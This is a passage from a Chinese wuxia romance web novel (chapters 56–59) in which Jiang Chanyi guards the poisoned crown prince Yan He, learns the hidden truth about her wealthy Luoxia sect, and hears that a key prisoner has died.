姜蝉衣放好帕子,如以往一样目不转睛地盯着那张苍白的脸,他的轮廓眉眼如今好像已经刻在了她的心间,她睁眼闭眼都是他的模样。 只是,她不喜欢他现在的样子。 看不到他眼中的流光溢彩,看不到他淡笑时弯起的弧度,也听不见他如玉悦耳的声音,这让她很害怕。 泪水不自觉的滴落下来,姜蝉衣轻轻拂去,而后柔声道: “燕鹤,你一定要醒过来。” “吱。” 门突然被推开,紧跟着传来一道懒散的声音:“醒过来,救命之恩,是否该要以身相许呀?” 姜蝉衣忙擦去眼角的湿润,才抬头看向沐玄机,沐玄机对上她发红的眼眶,啧了声:“真是恩爱深情,让人羡慕啊。” 姜蝉衣一愣,忙解释:“不是你想的……” “晏青禾已经接应到你三师妹了,今日应该就能上山。”沐玄机打断她:“不过我猜黑酆门的人肯定不会轻易让她到沐府,这半日,才是最关键的。” 他话音刚落,徐青天便端着药进屋:“沐盟主,你也在。” 沐府人手不多,这几日一直是徐青天在负责煎药。 沐玄机嗯了声,将门关上,拉了把椅子坐在门边上,边擦剑边道:“从现在开始你也留在这儿。” 徐青天刚将药递给姜蝉衣,闻言不解的回头:“为何?” “刀剑无眼,想死就出去。” 沐玄机。 徐青天吞咽了下,默默坐在凳子上。 他今日坐死在这里也不可能出去的! 外头传来打斗声时,姜蝉衣还在给燕鹤喂药,她眼底划过一丝寒光,之后面不改色的继续给燕鹤喂药。 昏迷中的人没办法全部将药喝下,她喂一口便轻轻擦一擦溢出来的药渍,如此反复不知多久才将药喂完。 直起身子,却见徐青天放在膝上的手已经紧攥成拳,见她喂完药,低声道:“他们闯的进来吗?” “噤声。” 沐玄机。 徐青天立刻闭上嘴。 沐府厢房众多,只要不弄出动静,黑酆门的人一时半会儿找不到这里。 姜蝉衣紧紧盯着房门。 这里有她和沐盟主守着,外头还有燕公子和沐盟主的贴身护卫,都是一等一的高手,她眼下更担心的是三师妹。 不过有二师兄和云公子在,应是无碍的。 打斗声越来越近,终于靠近了屋子,门外的暗卫已经动了手,沐玄机摸了摸腰间几瓶毒丸,侧首道:“我出去看看。” 姜姑娘拿起剑,轻轻嗯了声。 徐青天顿时紧张的大气也不敢出。 又过了不知多久,姜蝉衣从兵刃声中听见了熟悉的声音,她眼眸一亮,飞快走推门出去,果真见到被晏青禾云广白一左一右护着的白安渝正快步往这边走。 “三师妹!” 白安渝看见她,不由加快脚步,在沐玄机几人的掩护下顺利进了屋。 云广白衣裳几乎被血浸湿,如今已是强弩之末,姜蝉衣迅速关上门,足尖一点朝云广白掠去。 云广白还能朝她笑:“我将白姑娘带上来了,燕公子不会有事了。” 姜蝉衣拉住他的手臂扛在自己肩上,朝晏青禾道:“先护送他进屋。” 晏青禾看了眼云广白,点了点头。 他救完关霄等人追上去时,他们被黑酆门的人围困,少年一人一刀硬生生给三师妹杀出一条血路。 一路到这里,已是极限。 姜蝉衣在晏青禾的掩护下,将一身是血的云广白送进了屋里,徐青天吓得脸色发白,急忙上前接过去。 白安渝正在给燕鹤诊脉,头也不回朝徐青天道:“那里有伤药,先给他上药止血。” “左肩,右臂,右侧腰腹几处先上药。” 云广白尚还有一丝清明,闻言怔怔地看向白安渝,却只看到一道模糊的身影,紧接着就两眼一闭昏迷过去。 徐青天忙将他放在软榻上,抖着手一言不发地去翻药瓶。 姜蝉衣再度关门出去,眼底一片森寒,今日来的,一个也别想走! 第57章 第 57 章 这个嫂嫂他可太喜欢了!…… 燕鹤醒来, 已是两日后。 沐玄机守在床前,见他睁眼忙扶着他半坐起身,塞了个软枕在他身后, 让他坐靠着床背,一边道: “白姑娘说殿下该是这会儿会醒, 果真醒了,药刚送过来,先趁热喝药, 喝完再问话。” 燕鹤昏睡太久, 身体疲软的厉害, 任由沐玄机扶着他,嘴里溢出苦味时他才慢慢的恢复了清明, 想要伸手去接药碗,被沐玄机躲过,又一勺子药送到嘴边:“殿下刚醒, 先就这么喝吧。” 燕鹤反驳不了,便默默地配合着喝了药,待药饮尽,沐玄机又迅速塞了块蜜饯过来,不等他问话便道:“殿下中了灼阳之毒, 已经昏迷了八日,是落霞门三师姐白安渝, 哦, 也就是姜姑娘的三师妹来救了你。” 燕鹤的记忆停留在清辉门一战,他只记得他失去意识前她焦急担忧的眼神。 吞下蜜饯,道:“姜姑娘呢?” 这时金酒端着水进来伺候洗漱,见到燕鹤醒了自是一阵欢喜, 忙上前询问,沐玄机趁机让人去传饭菜,等金酒关切的话语结束,才回答道:“姜姑娘啊,还没那么快醒。” 燕鹤一愣:“她怎么了?” 沐玄机让了个位置,环胸靠着床边立着:“听我慢慢同殿下说。” 沐玄机噼里啪啦将燕鹤昏迷后的事叙述了一遍,说到白安渝到沐府后,整个人神采飞扬:“殿下是没看见,姜姑娘那日冲冠一怒为蓝颜,一剑狂扫黑酆门,来的人有一个算一个全都留这儿了,那架势将在场的所有人都震住了,尸体都搬了一宿,除了世子妃,我还从来没见过那么能打的姑娘!” 这个嫂嫂他可太喜欢了!! 沐玄机口中的世子妃是谢蘅的夫人,当朝女将军柳襄,虽世人都称谢蘅为小王爷,但明亲王尚在,谢蘅还不愿袭爵。 燕鹤已经洗漱完,正在用粥,听到这里抬眸看向沐玄机:“她伤的可重?” “自然重。” 沐玄机:“打完就晕过去了,幸亏白姑娘在这才没有大碍,不然不死也得丢半条命,不过那么重的伤,怎么也要养个把月。” 燕鹤垂下眼睑,不知在想什么。 沐玄机看了他一眼,推开金酒凑到床前,神神秘秘道:“殿下,你说实话,你是不是喜欢姜姑娘?” 燕鹤看向金酒,又同玄机说什么了? 金酒无辜的眨眼,他什么也没说啊。 “我说过,不可胡乱揣测……” “我没有胡乱揣测啊。”沐玄机道:“你都豁出性命去救人了,这还不是喜欢?” 提起此事,金酒有话说了:“殿下,您贵为储君,您的安危关系天下苍生,不该如此冒险。” 燕鹤动了动唇,想解释却又发现好像无从解释,当时他只是想救她,好半晌,他道:“那时也不知匕首有毒。” 沐玄机挑眉:“若知道,还会救吗?” 燕鹤不作声了。 事出紧急,哪里会去思考太多。 沐玄机见此又凑近他几分:“危急时刻的第一选择是发自内心的,骗不了人。” 燕鹤将粥碗递给他,顺手将他推开一些,声音淡淡:“你没别的事了?” “不正面回答那就是默认了。”沐玄机头也不回地将碗塞给金酒:“殿下,你不知道,你前头昏迷的那五日姜姑娘寸步不离守着你,日日以泪洗面,我瞧着姜姑娘心里也有殿下。” 燕鹤神情一滞,她为他哭了? 虽然觉得沐玄机的话很有些水分,姜姑娘不像是会整日以泪洗面的人,但失去意识前,他确实见她落了泪。 “玄机,慎言。” 燕鹤压下心中的异动,正色道:“我们并肩作战过,如今也算是朋友,彼此担忧实属常理,不可胡言,损姑娘清誉。” “好的殿下,我知道了,我不说就是了。”沐玄机乖巧应着,心里却在欢呼雀跃。 他方才说的是姜姑娘心里也有殿下,而殿下没有反驳那个‘也’字! 这说明什么,说明殿下心里确确实实有姜姑娘! 啊!殿下要有太子妃了,他要有嫂子了!! 这样大的喜事,他要赶紧去信告诉小王爷世子妃父亲母亲! “对了,你方才说落霞门的三师姐是姜姑娘的三师妹,这是何意?”燕鹤。 “就是字面上的意思啊,换个说法,也就是姜姑娘其实就是落霞门的大师姐。” “殿下刚醒,还要好生歇息,等姜姑娘醒了我立刻来禀报。” 沐玄机说完就站起身,笑的一脸灿烂:“余昊还一直关着,没有时间审,既然殿下醒了我也该去看看他了。” “金酒,照顾好殿下啊。” 看着那道蹦跳着窜出去的身影,燕鹤沉默良久,问:“沐府有何喜事?” 少年早慧,少见他欢快成这样。 金酒和燕鹤一样,总觉得哪里不太对,但又说不上来,闻言挠了挠头:“没有啊,可能殿下醒来,沐公子开心。” 燕鹤也不再去深究,问道:“姜姑娘是落霞门的大师姐,这是怎么回事?” “此事是这样……” _ 沐玄机带着人欢快的往关押余昊的房间走去,底下的人看的心惊胆战。 审余昊,主子这般开心? 他们自然不懂,沐玄机已经在脑海里为燕鹤姜蝉衣幻想了一出大戏! 他已经确认了姜蝉衣的身份,真相与他所料无二。 十几年前,相国家的嫡次女褚婉卿病重,恰逢娘亲回京,便被请去相国府看诊,可那位贵女的病太过刁钻,想要救人,需得会针灸之术且内力深厚之人为其施针,娘亲会针灸术,但没有内力,于是便请来一位曾经跟着师公学习过针灸之术的前辈。 褚婉卿的病非一时能治,前辈亦不在京中久留,又恰逢一得道高僧箴言,她命中有大劫,需清修十六年方可归家。 两厢一商议,由那位前辈将褚婉卿带走,收为徒弟,从此了无音讯。 而他见过白安渝的针灸术,与娘亲一脉相承,加上从晏青禾那里打探出来的消息,还有他们那位神秘的师父,以及十多年前出现的落霞门,他确认,姜蝉衣就是褚婉卿! 他以前一直好奇是什么样的大师姐能养得起一个门派,且一养就是十数年,如今一切都说的通了。 相国的夫人母族是帝师乔府,如果他没有猜错,两家这些年给那位前辈的酬金全都到了落霞门。 他昨日又从晏青禾那里探到一些内情,原来落霞门中大半弟子都是孤儿乞儿亦或者遭遇变故落难的孩子。 晏青禾不肯说太多,但他抓住了最紧要的那一句,多行善事,积攒福报。 虽然他不太信这些,但曾经被所有太医确诊活不下来的褚婉卿,如今确实活的好好的,若那高僧所言成真,褚婉卿命中大劫已过,将来贵不可言。 普天之下,哪个女子能贵过皇后娘娘? 那位高僧好像有点本事。 不过他并不打算将这些告诉殿下。 试想,原本该是青梅竹马的贵女历经磨难,平安长大,恰逢太子江湖游历,二人竟意外相识并相恋,但碍于身份悬殊太子不敢表露心迹,只能藏在心底痛苦隐忍,最后忍痛分别,太子回到朝堂茶饭不思,相思成疾,可谁料到有一日竟在京城与心上人重逢,这才知道原来那女侠竟然是相国嫡女,于是,天子赐婚,有情人终成眷属! 啧,这是多么美好动人可歌可泣的故事啊! 他怎么去能破坏呢? 当然不能! 他要做的只是看热闹,并邀请更多的人看这个热闹,顺便让这个故事更加精彩。 太子的热闹,过了这村就没这店了。 他除夕时曾听说相国明年就会迎回嫡女,啊,他明年一定要回京! 沐玄机越想越高兴,听闻父亲当年说的一手好媒,如今,他这是不是也算子承父业了? 沐盟主心情大好,以至于审余昊时,对方咬死不开口他也没生气,只让人打一顿关地牢去了。 _ 姜蝉衣云广白皆昏迷至今,徐青天和白安渝一人负责照顾一个,两日几乎没怎么合过眼。 徐青天给云广白喂下药,协助落霞门弟子给他换好伤药,又到隔壁房去看了姜蝉衣,再往燕鹤房中去。 几人回来皆是一身鲜血不省人事,徐青天吓的到现在都还没有缓过神。 他生怕眼睛一睁哪一个就这么睡过去了。 虽然他们认识不算久,但也是同生共死过,情谊已在不知不知觉间增长。 谁出了事,他都无法接受。 进屋见到燕鹤醒了,徐青天提着的一颗心落下一小半:“可算是醒了一个。” “燕公子,可还好?” 燕鹤见他脸色不佳,猜到应是没怎么合过眼,心中微暖。 “我已无碍,无需忧心。” 徐青天搬了个凳子坐到床前,仔细看了看他,才道:“无碍便好。” “那日可将我们吓的不轻。” 他只会些花拳绣腿,那种情况也帮不上忙,只能眼睁睁看着他们浴血奋战,一个接一个重伤送回来。 燕鹤抓住他眼中那一闪而逝的神色,温声道:“我听金酒说这些日子大多时候都是你在帮我们熬药,谢谢。” 徐青天忙摇头:“无需客气,我能做的不多。” 燕鹤却道:“已经很多了。” “那几日府中需要布防,还要接应白姑娘,幸得有你照顾我,才让他们没有后顾之忧。” 徐青天鼻尖蓦地一酸。 他以前或从说书先生那里或从话本子上看到江湖的打打杀杀,那些故事都经过了美化,只让人向往,可这一遭走来,才真正体会到其中残忍。 来的时候四个人,差一点就只剩他一个。 他好像,不那么想要游历四方了。 第58章 第 58 章 所以,我们师门没有穷的…… 接下来几日, 徐青天仍是每日几个屋里转,只是多了燕鹤同行。 姜蝉衣云广白伤势过重,且都有内伤, 白安渝说至少也要十日左右才会醒。 这十多日,沐玄机在燕鹤晏青禾的帮助下, 总算从余昊口中挖出了一些东西。 与他们猜测一致,余昊和黑酆门早有勾结,黄金都是分利所得。 只令他们震惊的是玱州城外有矿山。 他们私采矿! 晏青禾立即带人去了一趟, 可去晚了, 黑酆门没能杀余昊灭口, 便另做了准备,矿山已空无一人。 最后沐玄机报官, 请官府出面查证。 黑酆门遭江湖官府联手围剿,死伤过半,但那些都只是底下的杀手, 什么也不知道,真正的主事人已经舍弃老巢分散逃走,如今不知所踪。 姜蝉衣云广白是在同一天醒过来的,前后相差不过一刻钟。 刚醒来时,意识还有些混沌, 姜蝉衣睁开眼望着纱帐半晌记忆才渐渐回笼。 余光瞥见一道身影,她偏头慢慢望过去, 却见矜贵如玉的公子正拿着书在窗边端坐。 男女有防, 窗户是打开的。 余晖落到他面前的桌上,他的身影看起来有些缥缈,却又让人感觉温暖,安心。 姜蝉衣轻轻勾起了唇。 他没事了, 真好。 燕鹤似乎感知到什么,偏头看来,正好对上姜蝉衣弯起的唇角。 大师姐面色苍白,但那双眼睛一如既往的清亮,能叫人不知不觉的沉溺。 视线相对,静谧无声。 良久无人开口,可好像有什么东西正在发生变化。 燕鹤先回过神,忙放下书大步走过来,停在一步之距,温声道:“姜姑娘醒了,可有何不适?” 伤患昏迷着,身边离不得人,燕鹤徐青天晏青禾白安渝几人轮流守着二人。 恰一刻钟前,燕鹤过来接替白安渝。 姜蝉衣直勾勾盯着他,问:“我昏睡了多久?你的毒可解了?” “你昏睡了十日。” 燕鹤温和答道:“我的毒已经解了,在白姑娘来的两日后醒过来的。” 姜蝉衣闻言彻底放下心。 她撑着想要起身,便听燕鹤道:“姜姑娘先别动,免得牵扯伤口,金酒已去请白姑娘。” 姜蝉衣依言躺好。 两厢竟陷入沉默。 好半晌,又几乎同时开口:“我……” 燕鹤顿住,道:“姜姑娘想说什么?” 姜蝉衣看向他,正色道:“我百毒不侵,燕公子下次万不可再犯险。” 不管那匕首有没有毒,她都不愿看他为她受伤。 明月就该一尘不染,高悬天上,才赏心悦目。 燕鹤眼眸微垂,良久后点头:“嗯。” “姜姑娘也该更爱惜自己,黑酆门个个好手,若有不慎,燕某难安。” 他自然知道她剑扫黑酆门是为他报仇,心中动容是真,不愿看她受伤也是真。 姜蝉衣喔了声,眨眨眼。 “知道了,我很惜命。” 她活到现在可太不容易了,自然不可能不要命的去跟人同归于尽。 不过是心中愤恨,打法激进些罢了。 燕鹤回之一笑:“嗯,惜命很好。” 他懂她的快意恩仇,侠肝义胆,也希望她永远这般自由洒脱,灿烂明媚。 他承认沐玄机说的对,他对她确有欣赏,喜欢,但仅此而已。 世间不是所有喜欢都要一个结果。 他身为储君,婚事即国事,在其位担其责,既知无缘,自不叨扰。 花朵灿烂,固然心生欢喜,却不能自私攀折,该由她绽放属于她自己的绚烂。 他们是并肩作战的同伴,同生共死的朋友,漫长的岁月中,有幸遇见,足矣。 “大师姐刚醒,你们不要聒噪,在这里等着,我先进去看看。” “老四你也等着,人高马大凶神恶煞的,别吓着大师姐。” 听闻大师姐醒来,迫不及待过来的落霞门弟子:“……” 你要不要听听你在说什么,大师姐那日打架比四师兄还凶,能被四师兄吓到? 脚步声传来,还算熟悉的声音由远及近,门口光线略暗,人踩着余晖踏进来,几步就到了床前。 姜蝉衣记得他,落霞门那位说话如炸鞭炮般的五师兄。 她还未开口,就见他停在燕鹤身侧,恭恭敬敬朝她一揖:“落霞门弟子沈琳琅,拜见大师姐。” 姜蝉衣一愣:“?” 他唤她什么? 清辉门时他也如此唤过她,且落霞门众弟子都唤二师弟为二师兄,只那时燕鹤危在旦夕,她心中虽有疑却也无心询问。 如今那些疑惑再涌至心头。 “你为何如此唤我?晏青禾与你们落霞门是何关系?” 沈琳琅已经从晏青禾口中知道了来龙去脉,正要解释,就听身后有人进屋。 “大师姐。” 正是晏青禾。 沈琳琅遂转身行礼:“二师兄。” 晏青禾端着药走近,抬眸看向燕鹤。 他没从沐玄机口中探得他的身份,但依沐玄机那日反应来看也是有些来头,这几日他已然清楚他与云广白徐青天,皆是大师姐下山结识的友人。 可此人与另外两人不一样。 徐青天只有同伴之谊,云广白对三师妹司马昭之心路人皆知,而眼前这人,他看不透。 但莫名的,让他感到危险。 燕鹤坦然的迎上晏青禾的目光,温声道:“你们叙旧,我去看看云公子。” 白安渝到此时还未过来,多半是被云广白绊住了。 说罢他朝姜蝉衣微微颔首示意后,便折身离开。 待他走远,晏青禾才道:“你也先出去。” 沈琳琅虽有不满,也能背地 里骂人孽障,但却不能违抗师兄之命,不甘不愿的出了门。 晏青禾上前坐在床边给姜蝉衣诊脉,他的医术虽也算不上精,但到底比姜蝉衣好上许多。 片刻后,晏青禾收回手,扶着姜蝉衣坐起身靠在床背上,才看着她道:“外伤多已无碍,内伤需要再养月余,期间不能再动武。” 他边说边端起药喂给姜蝉衣。 姜蝉衣每年针灸的那段时间,都是由晏青禾白安渝照顾,喂药这种事晏青禾做的很熟练。 姜蝉衣也没觉得有什么。 燕鹤方才在屋中守着,因男女之防,几扇窗户都是打开的,去云广白的房间恰路过最后一扇窗,他无意般往里看了眼。 正好看见晏青禾坐在床边给姜蝉衣喂药,师姐弟之间默契无间,温情十足。 只一眼,燕鹤便收回视线。 到了云广白屋外,碰见出来的徐青天,得知云广白果然已经醒了。 徐青天白眼都快翻到天上去了:“不要脸的,一醒来看见白姑娘就挪不开眼,这会儿正喊伤口痛缠着白姑娘不让走呢。” 燕鹤无声笑了笑。 “那我待会儿再去看他。” 徐青天骂骂咧咧的往姜蝉衣房里走去,燕鹤则去了院中的凉亭等候。 金酒突然现身,提着一壶茶给燕鹤倒上,眼珠子在燕鹤身上打着转,最终还是没忍住,大着胆子道:“殿下吃醋了?” 燕鹤淡淡的看向他。 金酒眼神飞快挪开,但嘴巴没停:“属下觉得虽然晏青禾对姜姑娘好像并非全是师姐弟之情,但姜姑娘对晏青禾却只有是师姐弟之谊,殿下,你若是真喜欢姜姑娘,不若早些开口,储妃虽不成,但侧妃定是可以的。” 燕鹤将茶杯重重一落:“金酒!” 金酒一怔,忙退后一步:“属下失言,请殿下责罚。” 燕鹤看着他沉声道:“这样的话不要再说第二遍。” 金酒恭声应是。 殿下素来平和,难得发一回脾气,可他想不明白,殿下为何生气。 “我对姜姑娘是为欣赏,敬重,若不能以正妻之礼,于她是折辱。” 燕鹤正色道:“既不能许诺,便不可冒犯,从此以后莫要再生这样的念头,亦不可与任何人提及。” 金酒面露错愕。 太子侧妃都能算是折辱了? 不过他不敢再多说,恭敬道:“是,属下知错,再不敢提及。” _ 徐青天进去时,姜蝉衣刚喝完药,他见晏青禾似有话与姜蝉衣说,关切了几句就出了门。 远远看见燕鹤好像在与金酒谈正事,面色有些不佳,不好上前打扰,脚步一转回了房间。 都有人陪着,他补觉去。 而这边,晏青禾也终于开口向姜蝉衣解释:“此事说来话长。” 姜蝉衣:“长话短说。” 晏青禾无辜的看着她:“短不了。” 姜蝉衣:“……那就慢慢说。” 晏青禾沉默良久,似乎是在斟酌说词,好半晌才开口:“得从师父带大师姐离开京中时说起。” 姜蝉衣一怔:“你知道我的身份?” “嗯。”晏青禾点头:“落霞门建立之初,师父告知我的。” “师父带走大师姐后,褚乔两家每年都会送大笔酬金,可当年那位高僧留过箴言,大师姐要清修避劫,自不能穿金戴银山珍海味,所以师父便将那些酬金用来救济一些无家可归的孤儿。” 晏青禾顿了顿:“最开始是这样,只是后来人越来越多,师父便干脆买了山头建立师门,并将一切告诉了我与三师妹。” “每年我们外出游历,其实都是去了另一座山,处理山中要务。” 姜蝉衣:“……” 他说的话好陌生,她像是在听故事。 “师父教我和三师妹武功医术,我们学会了便教师弟们,四师弟的武功不是我教的,师父捡他回来时他就很厉害了。” 晏青禾越说越心虚,但只能硬着头皮继续往下说:“好在弟子们都争气,时至今日,落霞门已在武林有一席之地。” “原本我们是打算等师姐明年生辰过后,回京之前将这一切告诉师姐的,没想到……” 提前被撞破了。 晏青禾偷偷看了眼姜蝉衣,却见她面无表情一言不发,他心中忐忑,微微倾身。 “师姐,你要是生气就骂我两句。” 良久,姜蝉衣才喃喃道:“所以,我们师门没有穷的揭不开锅。” 晏青禾极轻的嗯了声。 师姐是师父一手带大的,自是倾注了不少心血,情同亲父,生怕师姐养不活,除了吃饱穿暖,不敢违逆箴言半字。 “不过以后不必如此了。”晏青禾小心翼翼道:“过两日师姐回师门看看?” 姜蝉衣自然知道他说的师门不是他们原来的落霞峰,一时间心中感慨万千。 不过这并不是什么难以接受的事,师门强大是好事,她应该为此感到高兴。 “师父在那里吗?” 晏青禾摇头:“不在。” “今年我们也不知道师父去哪了。” 又过了好一会儿,姜蝉衣才开口:“我知道了。” 晏青禾默默地看着她。 姜蝉衣反问:“怎么了?” 晏青禾试探道:“师姐不生气?” “为何生气?” 姜蝉衣笑道:“这不是好事吗?” 她知道他说的是他们瞒着她一事,但她确实不在意,师父师弟师妹于她而言早已是家人,她怎会为这点事和他们生气。 需不沾金银,在山中清修的是她,师父他们都是在将就她。 且这些年他们两头跑,又要照顾她,又要壮兴师门,反观她,除了练剑就是吃饭睡觉,日子清闲自在,占了这等便宜还要跟他们生气,那是什么道理。 晏青禾愣了愣,而后轻轻一笑,眼底难掩光亮,点头:“嗯。” “那我安排时间接师姐回落霞门。” “嗯。” 姜蝉衣道:“若燕公子他们同去,可行?” 晏青禾眼底光亮淡了几分,但仍是温和道:“当然,师姐想带谁去都可以。” “落霞门所有花销都来自褚乔两家,没有师姐就没有落霞门,不论何时何地,落霞门都是师姐的家。” 姜蝉衣闻言笑着。 “那我定是要去看看的。” “院子前头有竹子吗,有野花吗?” “都有。” 晏青禾也笑:“师姐的院落一直有人打理,是按照师姐喜欢的样子修的。” 不管师姐能住多久,那里都会永远留着。 第59章 第 59 章 像燕公子这样便极好 姜蝉衣又在沐府养了几日, 走动无虞方才随晏青禾回落霞门。 她早已问过燕鹤几人的意思,云广白回应的最热烈,但都知道他想去落霞门多是因白安渝之故。 这几日他以伤为由缠着白安渝已不是什么秘密, 少年年岁尚轻,藏不住事, 对白安渝之心无处遮掩。 徐青天也说可去增长见闻,相比起来,燕鹤倒是反应平淡, 无可无不可。 但他性情向来如此, 也不让人意外。 只有沐玄机看的分明, 知燕鹤已压住心思,只容自己立在朋友的位置, 他笑的狡黠,却不拆穿。 只看热闹。 出发这日,姜蝉衣与白安渝一辆马车, 由晏青禾亲自驾车,落霞门弟子护送,燕鹤几人则在另一辆马车。 一行人浩浩荡荡往落霞门去,因顾及姜蝉衣和云广白的伤,行的并不快, 足足两日才到落霞门山门。 沈琳琅已率众弟子恭候在此,就连一向两耳不闻窗外事的蒋铄也难得换上新衣发冠, 前来相迎。 姜蝉衣才下马车, 众弟子在沈琳琅的带领下,向她拱手揖礼:“恭迎大师姐。” 声音之浩大,在山间绵延不绝。 虽是初次相见,但在姜蝉衣不知情的十几年中, 他们早已有着千丝万缕不可分割的联系,即便置身陌生地界,仍让人感到亲切。 姜蝉衣心中热意翻腾,拱手回礼。 礼节过后,沈琳琅迎上来,笑的如沐春风:“大师姐,请。” 姜蝉衣含笑回礼,踏上阶梯。 落霞门占了一座山,地界广阔,进入山门,还有几百步阶梯才到外门,再向上行半个时辰才是门中议事堂,练武场等。 看着一眼望不到头的房屋,云广白也不示弱缠着白安渝喊痛了,面色复杂道:“姜姑娘,这就是你说的师门揭不开锅,一贫如洗?” 云广白也是醒来后才知道内情,当时确实好生惊讶了番,但那时并没有太大的感触,直到此刻立在这里,看着训练有素的弟子,坐落有致的屋舍,实不敢想象初次见面,他们的大师姐竟沦落到与他们蹭席抢肉。 徐青天也不由咋舌。 “能多住几日么?” 这一座山他怕是一月都逛不全。 姜蝉衣也是怔愣的。 二师弟同她说了实情后,她也想过落霞门是什么样子,可实在没想到会这样广阔。 虽然一应远不如清辉门那般奢华,屋舍大多依据山势而建,错落有致,透着自然之美,实乃风景胜地。 半晌,姜蝉衣镇定道:“徐公子随意住便是,抱歉,先前并非有意隐瞒。” 姜蝉衣身份另有隐情,那日与晏青禾聊过后,一致决定只同燕鹤几人说是姜蝉衣先前对他们有所隐瞒,其他的并不细说。 这个谎言破绽百出,但无人追问,燕鹤亦不曾深究。 每个人都有秘密,不管个中有何内情,她不愿说,他们自当尊重。 “无妨无妨。” 徐青天笑着摆手。 沈琳琅早知燕鹤几人同行,已准备好客房,亲自带着几人过去安置,而姜蝉衣则被晏青禾白安渝带着去她的院落。 院外有一丛竹子,往里走围了一圈篱笆,有野花环绕,生机勃勃。 与落霞峰的院子像极。 姜蝉衣一见便欢喜,脚步都欢快了许多,再看里头布置,也与落霞峰的院落一致,只是多了一些摆件,窗口还放着新采的一束花。 处处可见用心。 “师姐看看有什么缺的,回头我去买来添置。”晏青禾道。 一应都是熟悉的模样,不用问便也知这里是晏青禾亲手布置,姜蝉衣笑看着晏青禾道:“挺好的,谢谢二师弟。” 他们虽都唤她一声师姐,可因年纪身体之故,大多时候都是他们在照顾迁就她。 相比起来,她这个大师姐很不称职。 “师姐喜欢就好。” 晏青禾顿了顿,问道:“师姐之后要下山吗?” 白安渝不动声色的看他一眼,也将视线落在姜蝉衣身上。 姜蝉衣倒还没有想过这个问题,想了想,道:“再看吧。” 明年她就要回京了,再来不知又是何时,她很喜欢这里,多住一段时间挺好。 只是不知燕公子他们可会久留。 晏青禾遂不再追问,道:“师姐伤还未痊愈,加之这两日赶路舟车劳顿,师姐先休息,晚些时候用饭再来请师姐。” “好。” 姜蝉衣点头。 白安渝说要给姜蝉衣诊脉让晏青禾先走了,方才下马车前白安渝才给姜蝉衣诊过脉,姜蝉衣闻言便知她应是有话说。 果然,晏青禾走远后,只听白安渝直截了当问她:“师姐以为燕公子如何?” 姜蝉衣不由怔住。 她怎么也没想到白安渝会问她这个。 但她不假思索道:“芝兰玉树,君子如玉,人美心善,是位极好的人。” 大师姐言语中尽是赞赏,任白安渝如何看,都没看出别的。 白安渝便明了了。 师姐这是还没开窍。 她便沉默,其他的话也就咽回去了。 不必问,师姐也定是不知二师兄心思的。 “三师妹怎么突然问起这个?” 白安渝回神,笑着道:“没什么,就是没想到你们又见面了。” 这样的巧合,实是千万分之一。 姜蝉衣不疑有他,将与燕鹤几人重逢的实情说了,白安渝这才知是原因一场婚宴才得以再次相见。 “原是如此。” 白安渝不是话多的人,但她思量再三还是又道:“师姐明年就要回玉京了。” 姜蝉衣点头:“嗯。” “生辰一过就回。” 仔细想想,竟只有大半年了。 有期待,也有不舍。 姜蝉衣难得有些怅然。 “师姐明年就十八岁了,京中贵女这个年纪大多都已经定了亲。”白安渝声音温和:“师姐此番回去,想来亲事也要定下了。” 姜蝉衣没有想过这个问题,猛地听白安渝提起,她难免又怔愣住,好一会儿才道:“我还没想过这个问题,这个年纪都该定亲了吗?” “嗯。”白安渝少有的打趣她:“以褚乔两家的门第,定会给师姐择一位郎才绝艳的公子,不知师姐喜欢什么样的郎君?” 若是寻常姑娘被这一打趣定要露几分女儿娇态,但大师姐闻言却竟认真想了想,而后道:“首先要是品性极佳且俊俏。” 白安渝闻言一滞,不由回想起方才她对燕公子那句‘人美心善’的夸赞,眼眸微动。 “师姐认为怎样才算俊俏?” 姜蝉衣这回没多想:“若是如燕公子那样便极好。” 白安渝沉默片刻,不再问了。 她没去深思‘便极好’几个字的含义,但明白二师兄是没机会了。 且师姐身为相国嫡女,不管燕公子还是二师兄,终究都不是一路人。 不过这一路上她见燕公子极有分寸,似乎并没有其他心思,便也不欲同师姐多说什么,更不会去点破什么。 没开窍也有没开窍的好处,至少日后不会因此伤情。 正说着,外间传来动静。 却是云广白拉着徐青天过来找姜蝉衣,说是找姜蝉衣,实则人一进来眼神都落在白安渝身上。 姜蝉衣自己没开窍,但不妨碍她知道云广白对白安渝的心思,毕竟少年热烈万分,想看不出都难。 看着白安渝淡下来的神情,且眉间颇有几分无奈,姜蝉衣忍着笑意道:“云公子伤口不疼了?” 云广白笑看着白安渝:“白姑娘医术无双,伤已经好许多了。” 姜蝉衣闻言挑了挑眉。 这就不装了? 随后就听云广白继续道:“此地山清水秀,风景甚佳,白姑娘可以带我逛逛吗?” 原来打的这个主意。 姜蝉衣默默地看了眼白安渝,白安渝缓缓起身,淡淡道:“我稍后唤弟子带云公子去逛,我去后山采药,先走了。” 后面这几句是同姜蝉衣说的。 “山中危险,我与白姑娘一起去。”云广白紧紧跟上。 白安渝:“不必,后山是落霞门地界,没有危险。” “那我帮白姑娘拿药材。” “云公子方才才说腿上伤口痛,就不劳烦了。” “方才是方才,现在已经好了。” 姜蝉衣徐青天面无表情看着二人身影消失在小径,院落安静下来,二人久久无言。 诚然,都没见过脸皮这么厚的。 好半晌,徐青天忍不住问道:“姜姑娘觉得有可能吗?” 姜蝉衣也在思索这个,环臂道:“拿不准,我只看得出,师妹并不讨厌云公子。” 但应也仅此而已。 且师妹身上背负太多,恐怕眼下无心情爱,云公子多半是无法如愿。 徐青天也只是随口一问,闻言似想起什么,别有深意的看了眼姜蝉衣。 云广白能不能抱得美人归他不知道,但姜姑娘和燕公子…… 只不待他深想,却见小径处有人影过来,正是燕鹤。 徐青天挑眉,心中感慨,看来,只有他是真心想出门看风景。 姜蝉衣见燕鹤过来,眼眸一亮迎了出去:“燕公子。” 徐青天不紧不慢的跟上,意有所指的打趣:“燕公子也想去逛逛吗?” 姜蝉衣并没有听出来什么,而燕鹤只当没听懂,正色道:“我方才收到消息,余昊死了。” 沐玄机报官后,余昊就交给了官府,因涉及采私矿关系重大,暂交由本地府衙审查。 听他死了,姜蝉衣徐青天都有些惊讶:“怎么死的?” “说是畏罪自杀。” 燕鹤眉间有几分沉色:“但我认为,更像杀人灭口。” 他一早便在想,光凭余昊和黑酆门不可能做成这件事,这其中必定牵扯了官府,如今余昊死在官牢,也恰证实了这点。 姜蝉衣也想到这点,皱眉道:“这件事恐怕远没有结束。” 可余昊死了,黑酆门也不见踪影,似乎无从查证。 这时,却又听燕鹤道:“解延也死了。” 